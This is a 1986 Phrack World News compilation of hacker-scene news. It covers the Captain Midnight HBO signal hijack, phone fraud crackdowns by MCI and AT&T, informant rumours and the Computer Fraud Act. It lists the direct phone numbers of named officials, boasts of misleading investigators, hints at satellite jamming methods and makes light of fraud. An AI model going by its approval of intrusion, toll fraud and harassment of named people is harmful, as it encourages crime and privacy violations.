\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`

*‑=+^ Phrack World News ^+=‑*

Issue Five/Part 2

Compiled and Written By

Knight Lightning

\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`

Captain Midnight's Sneak Attack May 12, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"A daring intruder airs the beefs of dish owners"

In the old days, people with complaints against the media had few recourses: A stern letter to the editor, perhaps, or a protesting phone call. "Captain Midnight," an outraged consumer of the space age, took more daring action. In a sneak attack made on Sunday of last week, the self‑appointed video avenger broke into an HBO presentation of the movie "The Falcon and the Snowman" with a cryptic message:

Good evening HBO

From Captain Midnight $12.95/Month? No Way! (Showtime/The Movie Channel Beware)

The mysterious dispatch, seen for several minutes in the East and Midwest by hundreds of thousands of subscribers to the pay‑cable service, was clearly intended as a rallying cry for the more than 1.5 million owners of home satellite dishes in the U.S. These video free‑lancers are angry because many of the TV signals they have been plucking from the sky are done by one tuning into jumble. In January, HBO and Cinemax (both owned by Time Inc.) became the first two cable services to scramble their signals, thus preventing dish owners from watching them without paying a monthly subscription fee. Showtime and the Movie Channel will begin similar scrambling on May 27, and most other satellite‑beamed cable channels, including ESPN, MTV, the Disney Channel, Cable News Network and Superstation WTBS, will follow suit before the end of the year. Their actions have set off a heated battle over just who has the right to TV signals bouncing through the skies.

In one blow, Captain Midnight has become a folk hero in that struggle, though his identity remains a mystery. Ordinary home dishes are able only to receive signals, not to send them; thus experts think the pirate signal probably came from a TV station or other commercial facility. Wherever the stunt originated, TV executives were not amused. HBO has lodged a complaint with the FCC, threatened to prosecute the pirate, and made technical adjustments that it claims will prevent any repeat attack.

"He probably thinks this was a prank," says HBO Vice President Dave Pritchard. "But the fact is someone has interfered with authorized satellite transmissions." The incident has raised concerns that other satellite‑borne communications, including sensitive data transmitted by business and the military, could be similarly disrupted. Representatives of the three broadcast networks insist that a 'hacker' would have difficulty breaking into their programming. But any satellite signal could theoretically be disrupted, experts say "Most satellites are built with some safety measures," explains Karl Savatiel, director of satellite communications for AT&T. "But all satellites, including military satellites, are vulnerable if a person knows where the satellite is located, the frequency it uses for satellite transmissions, and the sender's code."

(This wasn't the full article, just the important part)

Taken from Time Magazine May 12, 1986 Reported by Jim Byers/Los Angeles and Jerome Cramer/Washington.

Typed for PWN's usage by The Seker

________________________________________

News On Captain Midnight April 28, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"Search for Cable TV Prankster Leads to North Texas"

The search for Captain Midnight, the disgruntled video prankster who briefly commandeered Home Box Office's satellite transmissions over the eastern two‑thirds of the country early Sunday, has led federal investigators to North Texas, a Justice Department official said Monday.

John K. Russell, a Justice Department spokesman in Washington, told Knight‑Ridder Newspapers that "the perpetrator is believed to be in North Texas." Later he said the search was in Texas "as well as other areas."

Other authorities told Knight‑Ridder that investigators in the Dallas field offices of the FBI and the Federal Communications Commission (FCC) have been focusing on a tip that Sunday's four‑minute cable interruption originated in North Texas.

FBI and FCC officials in Dallas could not be reached for comment Monday.

Captain Midnight interrupted a movie broadcast Sunday with a message protesting new fees being charged the owners of satellite dishes for access to HBO. The five line message, superimposed on a test pattern, said:

"Good evening HBO from Captain Midnight. $12.95 a month? No way! (Showtime‑Movie Channel Beware.)"

In January, HBO began scrambling its broadcasts to prevent owners of satellite dishes from unauthorized interception of the signal as it bounced from a satellite to cable television systems.

HBO told dish owners that they would have to buy a descrambler for $395 and pay $12.95 a month.

"While the man on the street may have once thought that Captain Midnight's message was limited to being a prank, it does represent a very serious threat to any company or entity using satellites to transmit information," said Alan Levi, HBO's manager of corporate public relations.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Other:

Alan Levi: [212] 512‑1659 (Cooperate affairs)

David Pritchard: [212] 512‑1413 (Cooperate affairs)

Tim Larker: [212] 512‑5666 (Network scrambler assistant) New York City FCC: [212] 620‑3438 (Federal Communications Commission) HBO Cooperate Offices: [212] 512‑1000

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

David Lightman:

I have spoken with several people about 'Captain Midnight'. I have spoken to everyone above. This David Pritchard tried to tell me this:

DP = David Pritchard

DL = David Lightman

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

DL: Where do you think this 'Captain Midnight' is?

DP: Would assume he is in the North Texas region. Possibly 214.

DL: What makes you think this?

DP: We believe this is true due to a tip from a Dallas resident.

DL: How do you know that he was not lying to lead you away from the real Captain Midnight?

DP: I know he was probably not lying because he left us his mailbox number.

DL: Which is?

DP: I cannot release that information right now.

(This conversation went on for a while. Possibly 10‑15 minutes...)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

David Lightman earlier had spoken with Alan Levi...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

DL: Yes. Do you have any idea who this Captain Midnight might be?

Alan: No, but we are fairly certain it is someone in the 212 area with access to the scrambling offices of HBO. The knowledge necessary for what this guy did could not be gotten very easily without getting it from our departments.

DL: Well, I believe I know who this Captain Midnight is.

Alan: Could you please tell me who you think Captain Midnight is?

DL: No. If it is the person I suspect, I would rather not cause any trouble for them.

Alan: You wouldn't cause much trouble for him.

DL: Isn't what this guy did a federal offense?

Alan: Well, yes it is, but you would be surprised how many people get away with breaking federal laws.

(He actually said that guys!)

DL: Hmm.... What would happen to him?

Alan: We would just let him know that what he did was not a prank. It was very serious. It could possibly change the entire industry and unless he stops transmitting over our satellites, we will ask the Department of Defense to handle it from then on.

DL: Well, I would need to think about it a little more. Can I call you back a little later?

Alan: Could you just give me your number and I will have David Pritchard call you back?

DL: It depends on who else will get my number.

Alan: Just me. I will consider this conversation and all of the conversations that follow to be an anonymous tip.

DL: Sure then. It is (214) 733‑5162.

Alan: Thanks. Then I will have David call you if you do not call me back before tomorrow evening.

DL: That would be fine. Thanks.

Alan: Thank you.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑End of Conversation‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Well as you may have guessed, my number (mailbox) was given to the FCC, FBI, and David Pritchard as well as Tim Larker. I got pretty pissed so I called David Pritchard. That was the first conversation I posted. We (Alan Levi, David Pritchard, Tim Larker, the FCC, the FBI, Knight‑Ridder Newspapers, and I) now have the country believing that the transmission originated in Dallas. Of course it did, but you may see that changed soon. I plan on another conversation with these intelligent people tomorrow 5:00 PM.

If you do call these guys, please do not mention the Administration, Team Hackers'86, any member of either group or me to them as being the transmitter. You have no proof at all about that. I did not say if we were involved or not. That will be left up to your imagination.

Information and Interviews Provided by David Lightman

________________________________________

Captain Midnight Busted! June 6, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Captain Midnight probably isn't sleeping too well these days. His name, still publicly unannounced, is probably known by many, including the FBI. He has already been reported to have been fired from his job at an uplink facility, of which there are only around 100 in this country. The facility is east of the Rockies and does not operate after midnight. Also, a newer type of equipment was used of which there are only a few in the country. We expect charges to be filed any day now, possibly just in time for the June 12th congressional hearings on signal jamming. Penalties could include a one year jail sentence and up to $50,000 in fines; $10,000 maximum of which would be for jamming only.

We expect FM America to come to Captain Midnight's rescue financially by raising defense money. All segments of the TVRO industry condemned the signal jamming. It is interesting to note the grins and smiles while discussing the subject, however, FM America knows who "Captain Midnight" is and even interviewed him live on the air on "FM America." Tapes of FM America including Captain Midnight's interview have been turned over to federal investigators.

Several benefits can be realized by Captain Midnight's signal "interruption." Mainly, the fact is now known by everyone that it can be done. There are no secrets either in that a transponder can easily be confused into locking onto another signal and ignoring the correct signal as interference. Also, the signal that controls the satellite's positioning could also be accessed. The overall possibility that our entire "satellite system" in general can be rendered ineffective from the ground is kind of unnerving.

Signal scrambling did not interfere with the HBO signal lockout because a higher wattage beam over‑powered it. The networks all use pretty powerful beams which are used 24 hours‑a‑day so they would be harder to jam. If we had to guess which uplink was used to jam HBO, we would pick one that was already locked into the same satellite, such as one of the superstations. (Hint, Hint!)

Information provided by Handsomest One

________________________________________

Who is Ralph Meola? May 20, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ralph Meola is the Head of AT&T Security in New Jersey and theoretically everywhere else as well. He is known to have a computer file on hackers and phreaks, and an investigative team, that rivals John Maxfield's "BoardScan".

How did Meola enter into the public eye? Well, we at Phrack really aren't completely sure but, the general idea is that a friend of Sigmund Fraud (See TelePub'86 in PWN issue III), using social engineering in order to gain information from AT&T, somehow came into contact with Ralph Meola.

Later, Sigmund Fraud was also brought into this and decided to give Ralph Meola a call himself. With Gin Fizz on Sigmund's 3‑Way, he got Meola on the phone and said,"Hey! This is Sigmund Fraud!" Typing sounds could be heard in the background and in a few seconds Meola responded with Sigmund Fraud's real name, address, phone numbers, and the names of several BBSes that he was on.

Meola then insisted that Sigmund Fraud give him his account on Stronghold East or at the very least, all of the newuser logon procedures and passwords. Failure to do so would mean big trouble for Sigmund Fraud. Sigmund of course gave Meola the always nice "fuck you!" and hung up on Meola.

Although Sigmund Fraud was (at the time) on Metal Shop Private, Meola didn't know it, or at least he didn't mention it as a BBS that Sigmund was on. This means that Meola has no agents on Metal Shop Private. It is also known that Meola has no agents on Stronghold East. Otherwise he wouldn't have needed the password information from Sigmund. It is believed that Meola was on Stronghold East before the MASSIVE purge several months ago.

Information Provided by Sigmund Fraud/Gin Fizz/Slave Driver The assumptions and theories are my own ‑KL

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Slave Driver has since sent Ralph Meola the following letter:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TO: Ralph Meeola

Head AT&T Security

From: Slave Driver

Re: My user.

Hello. I find it rather hard to get in touch with you through normal means, but give me some time.

I was told you have been threatening my users, trying to get access here. That is not good. Ralph, if you want access just ask for it, don't go threatening my users. That was not an intelligent idea, Ralph.

If you are such a big guy [in your mind, and uh, hand] why not give me a call. I'm sure you have my number. I would be very interested in talking to you. So, you decide, Ralph. Either way, we'll talk one day.

Bye Ralph,

Slave Driver

Phrack World News Part 3

==Phrack Inc.==

Volume One, Issue Six, Phile 11 of 13

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

*‑=+^ Phrack World News ^+=‑*

Issue Five/Part 3

Compiled and Written By

Knight Lightning

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Cracking Down On Abuse

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This article is from the January issue of MCI World, a monthly newsletter published by MCI for it's employees.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The nationwide attack on telephone fraud got a boost recently when the U.S. Secret Service joined the effort to curb the crime that costs the industry millions in lost revenue annually.

The Secret Service used new jurisdiction over the telephone fraud for the first time to arrest five individuals in raids on four illegal "Call‑Sell" operations in New York City last November.

The five suspects are awaiting trial in federal court on charges based on a Secret Service investigation conducted in cooperation with MCI and other members of the long distance telephone industry.

The defendants were charged with violation of a law on Fraud In Connection With Access Devices which carries maximum penalties of 15 years imprisonment and a fine of $50,000, or twice the value of the fraudulent activity.

Several other investigations are under way and future arrests are expected, according to a Secret Service spokesman.

MCI cooperated in the investigation as a company and through membership in the Communications Fraud Control Association (CFCA), made up of some 35 telephone industry firms.

"Because it's an industry‑wide problem, we have organized to crack down on all kinds of fraud, from the isolated 'hacker' to more organized schemes to use long distance lines illegally," said Everick Bowens, senior manager of MCI security investigations and president of CFCA.

The Secret Service said that in the New York cases, the defendants operated Call‑Sell businesses out of their homes and charged "customers" a flat fee for making long distance calls. They used "Blue Boxes" and stolen or compromised authorization codes or credit card numbers to use the long‑distance networks of several companies.

Blue Boxes are electronic tone‑generating devices used to bypass billing systems and gain access to company networks. They can be assembled from generally available electronic parts or they can be purchased ready‑made through illegal sources.

In the New York raids, agents seized unauthorized cods and credit card numbers, four Blue Boxes and more than 20 telephones.

It is estimated that in 1984, fraud in the telecommunications industry totaled $500 million nationwide, and approximately $70 million in the New York City area.

CFCA members are primarily inter‑exchange carriers, such as MCI, but resale carriers and some Bell Operating Companies (BOCs) are also members, along with representatives of computer services and credit card companies.

Bowens says CFCA is intensifying efforts to stop the spread of fraud. Among other things, CFCA is developing educational packages for carriers and the public to promote widespread understanding of telephone fraud and ways to counter the crime.

"Our aim is jointly to prevent, detect, investigate and prosecute any fraudulent use of our long‑distance networks," Bowens said.

Authorization codes are obtained by theft from individuals and by "hackers" who randomly try combinations of numbers by telephone or through computer scanning of number combinations until a working code is "hit." Illegally obtained codes are fraudulently used by "boiler room" telemarketing operations, for example, or are passed along for use by individuals.

MCI had developed software to detect illegal entry into its network and it is expected that the spread of dial 1 service, in which authorization codes are not used, will help reduce the incidence of telephone fraud.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Comments from the Bootleg:

You reckon they mean us???????????????

What's wrong with them, can't they take a joke???????????

________________________________________

The Many Faces Of Fraud

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following is an article from the January issue of MCI World, a monthly newsletter published by MCI for it's employees.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This new year will see a stepped up MCI attack on telephone fraud‑‑illegal use of the long distance network through access by stolen authorization codes or electronic devices. The offensive is led by Everick Bowens, senior manager of MCI's security investigations department and president of the industry‑wide Communications Fraud Control Association (CFCA). Success in curbing this theft of service has earned MCI security investigators a reputation as super sleuths at headquarters and in the divisions.

New teeth were added to the attack on telephone fraud when the U.S. Secret Service was assigned to augment continuing investigative efforts by the FBI and other law enforcement agencies.

Because telephone fraud is outright theft from the company, MCI is determined to prevent, detect, investigate and prosecute any illicit use of its network. To learn more about how MCI conducts its anti‑fraud campaign, MCI World talked with Bowens.

MCI World: Is it true that MCI has systems that can detect fraudulent activity while it is occurring?

Bowens: Yes, our fraud systems detect abnormal usage and hacking. The systems also help us to track down offenders even when we have only the authorization code he or she is abusing. Because we can profile abusers and trace phone calls, it is easier for us to prepare cases for prosecution.

MCI World: Abuses involving computer "hacking" to get authorization codes seem to attract public attention. But there are other types of fraud equally damaging to the telecommunications industry. Would you identify some of these?

Bowens: The primary form of abuse is by "hackers," who use computer programs to derive customers' authorization codes. These codes can be widely disseminated via electronic bulletin boards. Because many of these boards are public, the codes fall into the hands of anyone with access to the boards. We also encounter electronic toll fraud, which involves tone‑generating devices that allow offenders to place fraudulent calls.

MCI World: Is one type of fraudulent activity more prevalent than another?

Bowens: Nationwide, fraud most frequently originates from military posts, college campuses, and prisons‑‑places where there are numbers of people far from home, or who have little else to do but manipulate the telephone. This type of abuse prompts the bulk of our investigations.

MCI World: Who is most likely to commit fraud? Is there a general profile of the common offender?

Bowens: Computer crime typically occurs in affluent, metropolitan suburbs and involves juveniles. Electronic fraud also occurs in major metropolitan areas. Other abusers, such as high‑pressure tele‑marketeers, usually follow the coast lines. California and Florida, for "boiler room" operations in which phone service is used illegally to sell merchandise. However, fraud can't be totally attributed to any specific group at any particular time.

MCI World: How can you keep up with code abuse and fraud? Don't offenders change frequently?

Bowens: Interestingly enough, the patterns don't change much. Those who commit fraud form a finite community that doesn't expand a great a great deal over time. Casual offenders, individuals who may take advantage of a "hot" toll free number, will use the number only when it's hot. Once the number no longer works, they're not likely to repeat the offense. On the other hand, repeat offenders are dedicated to getting something for nothing. They're somewhat easier to identify because they commit the same offense over and over.

MCI World: How does MCI know when it is the target of fraudulent activity?

Bowens: Our systems generally alert us, or an employee or a customer informs us. People know the MCI name. When they recognize something happening illegally with an authorization code, they'll get in touch with us. People generally feel that a cheat is a cheat, a crook is a crook, and if they have to pay full value for a phone call they see no reason why someone else shouldn't. There also are professional tipsters who go from one company to another offering information for a price. However, we rarely deal with them.

MCI World: Which MCI people, by the nature of their jobs, are most likely to detect or at least suspect, fraudulent activity?

Bowens: Our switch technicians have been very instrumental in detecting abuse. They're in a position to identify extensive busy signals on circuits, abnormal calling patterns, and code use. They've identified many hackers just by reviewing their daily call statistics. Employees in our billing department are also good at spotting unusually large bills and abnormal patterns. Though most fraud is detected by the systems we have in place, the human eye continues to be extremely helpful.

MCI World: In addition to working with internal people to help detect fraudulent activity, you also rely on the expertise of external agencies. Which outside agencies assist you with investigations.

Bowens: When fraudulent activity involves the theft or illicit use of authorization codes or credit calling cards, MCI and the Secret Service work together to investigate the case. If other activity is involved, such as the use of our service in furtherance of other crime, MCI works with the FBI. When the U.S. Postal Service is manipulated in a fraud case, MCI and postal inspectors investigate together. Additionally, Bell Operating Companies (BOCs) often provide hard evidence in cases that MCI prosecutes.

MCI World: When you are alerted to suspected fraudulent activity, what steps do you take to open and pursue the case?

Bowens: Security investigators contact the customer whose code is being abused, advise them of MCI's suspicions, and attempt to confirm them. If the response confirms their suspicion of fraud, they open the case. Normally, an investigation entails much research into toll records to identify abusers, unusual call patterns and the parties who might be involved in illicit activity. We also interview parties receiving the calls and document their statements. Once we collect sufficient evidence, we decide whether a case should be pursued as a criminal or civil action.

MCI World: How long does it normally take MCI's investigators to "crack" a case?

Bowens: Typically, investigators can crack a case within hours. Identifying fraud suspects is the easy part. Amassing the evidence‑‑dotting all of the legal i's and crossing the t's‑‑is tougher. Gathering evidence may take weeks and large cases involving many parties can take months to solve.

MCI World: With fraudulent activity knowing no geographical restrictions, how do you segment the problem divisionally?

Bowens: The security investigations department acts primarily in an advisory capacity, helping investigators in the divisions with procedural matters. The divisions generally take responsibility for investigating fraudulent activity within their jurisdictions and corporate investigators pursue cases that are large in scope or require specific expertise. Corporate also takes on cases involving offenders operating in more than one division.

MCI World: Can you elaborate on MCI's goals for reducing the level of fraudulent activity?

Bowens: We want to reduce fraud to the lowest possible level. One of MCI's goals is to cut fraud by more than half in 1986. We want to be the industry leader in curbing this illegal activity.

________________________________________

Broadway Hacker Turned Fed Informant? June 2, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Broadway Hacker recently called Phreakers Quest and left feedback to the sysop of that system (Shawn) saying, "I do believe that some of this information here is illegal." Shawn called Dark Creeper and reported this to him who then later told it to me.

Sometime later, Broadway Hacker called Knight Bandit to voice validate him for The Radio Station. He claimed he was some sort of fed and that KB would be hearing from someone in Bell Security.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The Radio Station is down because Broadway Hacker has sold his computer, his disks, and everything else and is moving to his new job at an unknown destination. When I spoke with him, he went on that he sold his user log, but would not comment on that any further. He wanted me to print that he was a fed and that all of his former users would soon be receiving visits from the FBI. This is exactly what he told Phantom Phreaker and several others which started a mass riot in the phreak world. One result was the takedown of Alliance for fear of its safety. It since has been put back up.

Broadway justified his actions by saying that by telling rodents he was a fed, it would keep them off his board. Later he said that since he is leaving the phreak world and no one knows where he is going, "To hell with the phreak world, let it fall apart and die for all I care." So this fed scare is an attempt to do just that. Was it a joke? Did he mean that really? I don't know. Maybe he did mean it then but now has changed his mind...

No one should be worried about this, everything is ok, and Broadway is not working with the FBI. He now claims that he needed his line free for business calls and all of the above were attempts to get people not to be calling him as he didn't have the time or patience. Use your own judgement.

Broadway Hacker still has his Vic 20 and an old modem and is attempting to get back on boards. He has also stated that the Radio Station BBS will be put back up at the end of the summer. Where it will be run from is unknown although, Broadway speculated that when it returns it would be run off of an Amiga.

Information Provided by Broadway Hacker/Dark Creeper/Knight Bandit/Phantom Phreaker

Phrack World News Part 4

==Phrack Inc.==

Volume One, Issue Six, Phile 12 of 13

:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.

*‑=+^ Phrack World News ^+=‑*

Issue Five/Part 4

Compiled and Written By

Knight Lightning

:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.

Grown‑Up Laws Sought For Computer Criminals

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

By Dave Skidmore (Associated Press)

WASHINGTON‑Teen‑age computer hackers are giving way to a new generation of people who steal information from computers for profit rather than fun, the head of a House crime panel said Wednesday.

"The hackers were the first generation we saw. Now we have a lot of professionals who are getting into the business of accessing computer data bases," said Rep. William J. Hughes, D‑N.J. [609/645‑7957 or 202/225‑6572], the sponsor of legislation aimed at helping law enforcement authorities better cope with the problem.

Hughes commented as the House subcommittee on crime, which he heads, studied the proposed Computer Fraud and Abuse Act.

Teen‑age computer hobbyists, motivated fun and desire for status among fellow hobbyists, use home computers and the telephone to "hack" into government and industry data bases.

Now, Hughes said, hackers' techniques are being increasingly used by industrial spies who sell trade secrets gleaned from corporate computers and thieves who change bank records to steal millions of dollars.

"Computer crime is probably one of the fastest growing areas of crime. (It's) going to make the old robbery and burglary a little passe with certain professionals," he said.

Hughes' bill, cosponsored by Reps. Bill McCollum, R‑Fla [202/225‑2176], and Bill Nelson, D‑Fla [202/225‑3671], creates three new offenses.

1. It forbids unauthorized access to a computer and drops a requirement that the government prove information in the computer was used or altered.

2. It outlaws "pirate bulletin boards" used by hackers to trade secret computer codes and passwords.

3. It makes it a felony punishable by up to five years in prison and a $250,000 fine to maliciously cause damage in excess of $1,000 to a computer program or data base.

That section of the bill would apply to so‑called "Trojan Horse" programs which, when achieving access to another computer, destroy all the data and programs in that computer.

The legislation is intended to plug loopholes in anti‑crime legislation passed by Congress in 1984, Hughes said. It applies to computers used by the federal government or its contractors and bank and loan association computers.

Hughes said he expected his bill and similar legislations sponsored by Sen. Paul S. Trible Jr., R‑Va [804/771‑2221 or 202/224‑4024], to reach the House and Senate floors sometime in May.

Information Provided by Blue Buccaneer

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following is a critical breakdown of the above article.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Blue Buccaneer:

Concerning this law: I always thought it would be more fun to hack for cash, but hey... Anyway, the three new offenses are what I am not to fond of:

1) "forbids unauthorized access to a computer" (Gosh, really?) "and drops a requirement that the government prove information in a computer was used or altered" Now what kinda law is that?! The government can just arrest someone and not have to prove anything? COME ON!

2) "It outlaws 'pirate BBSes'" When will these people learn the correct terminology? Pirates trade warezzzz, not 'secret passwords and codes'. The point is, that because this is a federal law, it will apply to all states. We aren't talking pussy‑laws anymore. Wouldn't it be damn awful if just running the stupid BBS was a crime? Besides that, I thought we had a right to freedom of the press. Again, COME ON!

3) "and a $250,000 fine to maliciously cause damage in excess of $1000 to a computer program or data base". Excuse me for asking, but can one "maliciously" destroy data? And isn't a quarter of a million dollars a bit much for a teen‑ager on a regular allowance? And that much for $1000 damage? Shit, I wish my insurance company paid like that when I wreck my car. Once again, COME ON!

And then, I guess this is the journalist's fault, but what the hell does that paragraph on Trojan Horses have to do with this shit? I mean really! Do you think Joe Blow in the street is going to go: "Whew, for a minute there I was afraid that new bill might just skip over those Trojan Horse things." I'd kinda assume Trojan Horses were covered under the "maliciously" destroying data rule.

Above written by Blue Buccaneer

________________________________________

Computer Kids, Or Criminals?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Mr. Slippery, age 12, never thought playing on his home computer amounted to much more than harmless fun ‑‑ until a mysterious call from a stranger one day proved otherwise. "I got a funny phone call from someone offering me money to destroy a bank's records," said Slippery, identified by his hacker alias. "At that point in time, I realized that that's an incredible way to launder money. That if I was real smart, I would move out of the whole thing, because that was an obvious point at organized crime, to me."

Hacking, or using a personal computer to trespass by phone lines into the private computer systems of corporations, foundations, universities and banks, is a new form of organized crime, say experts. In the last year or two, a new, sophisticated breed of hacker has emerged. Their ages vary, from the early hackers who started at 14, and have now entered college, to adults who operate computerized crime networks, but their motives are similar: criminal.

When Mr. Slippery started hacking seven years ago he as an exception among pimply faced, curious kids whose computers were toys for cheap, and typically harmless, thrills. For four years, he lived up to his alias, eventually penetrating top security government computers at the Department of Defense (DOD) and the National Security Agency (NSA). Mr. Slippery remained undetected until his last several weeks as a hacker. He was never caught, never convicted. Toward the end, he realized government security agents were following him and decided to put away his phone modem for good.

"After about four years of this, though, I started realizing that an entirely new crowd had sprung up," observes Mr. Slippery, now a 19‑year‑old ex‑hacker. "You now have the 14 year olds who were running around destroying things seeing how much trouble they could cause." Computer crime experts say the hacker problem is getting worse, even though industries are increasingly reluctant to discuss the topic. "The malicious hacker problem is continuing to increase drastically and is getting far more serious," said Donn B. Parker, author of Fighting Computer Crime and a computer and data security consultant at SRI International, a California‑based, non‑profit research institute.

"The lowering costs of equipment, the attraction of it for new kids coming into it as a rite of passage, points to increasing vulnerability of American business to the hacker problem." Parker's expertise got him hired as a technical consultant to the movie War Games about two teen‑age hackers who penetrate government defense computers. Where there is evidence of serious computer hacker crime is on electronic bulletin board systems (BBSes), where hackers share gathered intelligence. "Phone companies have huge investments in their equipment that is highly vulnerable to the hackers, who have figured out how to beat them, and have used pirate boards for their intelligence purposes," said SRI International's Parker.

"A large proportion of these kids are, in fact, juvenile delinquents with other arrest records." Recently, a hacker posted this on a local BBS:

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

I live in Cleveland and the Pheds are fucking everywhere. This guy who goes by the alias Lou Zer got caught and they told him if he narced on like 5 people he would get off with probation so he did that. Now like half the 2300 club has been busted and this kid has a lot of problems in the future. Also I have seen cops that I know of dressed as fucking federal express guys. Try and avoid using them. Also, here's some PBXs to fuck with. They belong to Standard Oil.

Later, Sir Gallahad

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Other BBSs post lists of telephone numbers of Fortune 1000 corporations, banks, credit bureaus, universities, and foundations.

Admittedly, many of the numbers are invalid, say experts. Though there are BBSes that admit members only by invitation and operate as part of a computer underground, others can be accessed by anyone with a computer and a phone modem. Often the boards carry foreboding names like The Sanctuary, Future World, Dark Side, Deathtrap and Speed Demon Elite. Computer crime is sometimes called the perfect crime. Its perpetrators are anonymous hackers using aliases like Phantom Phreaker, Big Brother, Bootleg, Sigmund Fraud, and Scan Man.

John Maxfield is a computer security consultant who lives in a downriver suburb. Maxfield spends most of his working hours scanning BBSs, and is known by computer crime experts as a hacker tracker. His investigative work scanning boards has resulted in more prosecutions of computer hackers than anyone else in the field, say sources familiar with his work. Maxfield, who accepts death threats and other scare tactics as part of the job, says the trick is knowing the enemy. Next to his monstrous, homemade computer system, Maxfield boasts the only file on computer hackers that exists. It contains several thousand aliases used by hackers, many followed by their real names and home phone numbers. All of it is the result of four years of steady hacker‑tracking, says Maxfield. "I've achieved what most hackers would dearly love to achieve," said Maxfield. "Hacking the hacker is the ultimate hack."

Maxfield estimates there are currently 50,000 hackers operating in the computer underground and close to 1,000 underground bulletin boards. Of these, he estimates about 200 bulletin boards are "nasty," posting credit card numbers, phone numbers of Fortune 500 corporations, regional phone companies, banks, and even authored tutorials on how to make bombs and explosives. One growing camp of serious hackers is college students, who typically started hacking at 14 and are now into drug trafficking, mainly LSD and cocaine, said Maxfield. This is an example of a recent BBS posting:

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

WANTED: LSD, of any kind. Leave me mail if you're willing to talk prices, I'll take anything up to $5 a hit. $3 is more likely.

urlord

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The BBSs are versatile teaching tools, too. Hackers post detailed tutorials on:

HACKING: Using a personal computer and modem to trespass into the private computer systems of corporations, foundations, universities, and banks.

CARDING: Using valid credit card numbers obtained from discarded carbons, accounts posted at video rental stores, or even by hacking credit bureau computers.

TRASHING: Sifting through trash to find discarded credit card carbons, receipts, computer passwords, code words, confidential phone company directories.

PHREAKING or FONING: Manipulating phone systems, usually to make long‑distance calls at no charge.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

